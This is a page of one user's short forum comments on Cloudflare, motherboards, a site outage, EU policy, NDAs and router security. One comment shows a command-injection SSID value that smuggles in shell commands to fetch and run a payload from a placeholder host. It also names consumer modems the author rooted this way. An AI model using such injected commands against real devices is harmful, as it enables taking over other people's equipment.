milankragujevic

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Everything just not to blame management and bad company pratice around product development.
Comment · 2 years ago
While I honestly and wholeheartedly respect what you are doing with Cloudflare, and also yourself as a person and an engineer, and having been using Cloudflare and advocating for Cloudflare myself since 2011., I must correct you that given the recent scandals with "mandatory optional upgrades" and "waiving the abuse away - if you pay" (see the relatively recent post on robindev substack), nothing Cloudflare promises can be considered free and without shakedown. The reputation of the company has finally been tarnished. I'm truly sorry to have seen it happen.
Comment · 2 years ago
I have been using Gigabyte for a very long time and had no problems. ASUS was OK for me too, but MSI boards were the worst due to stability, driver and cooling curve problems. Don’t buy MSI.
Comment · 2 years ago
Im sorry but the logo is awful.
Comment · 2 years ago
I noticed my website has been timing out randomly, and checking Apache server-status page I don't see the requests that are in flight.

At first when I noticed timeouts and slow response, I assumed it was due to my connection or my server. However, after checking on apache, it seems some requests aren't going through at all.

I checked the CF status page at the time, there wasn't this notice, but now there is. I hope this gets resolved soon.

Comment · 2 years ago
Correlation is not causation.

Not to mention Big Tech got its start in the USA before the EU existed.

Comment · 2 years ago
That's not how it works in Europe, and for good reasons, too.
Comment · 2 years ago
Maybe, maybe not.

If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.

Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.

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It seems very off to me that they don't give you the NDA before you sign the employment contract, and instead give it to you at the time of termination when you can simply refuse to sign it.

It seems that standard practice would dictate that you sign an NDA before even signing the employment contract.

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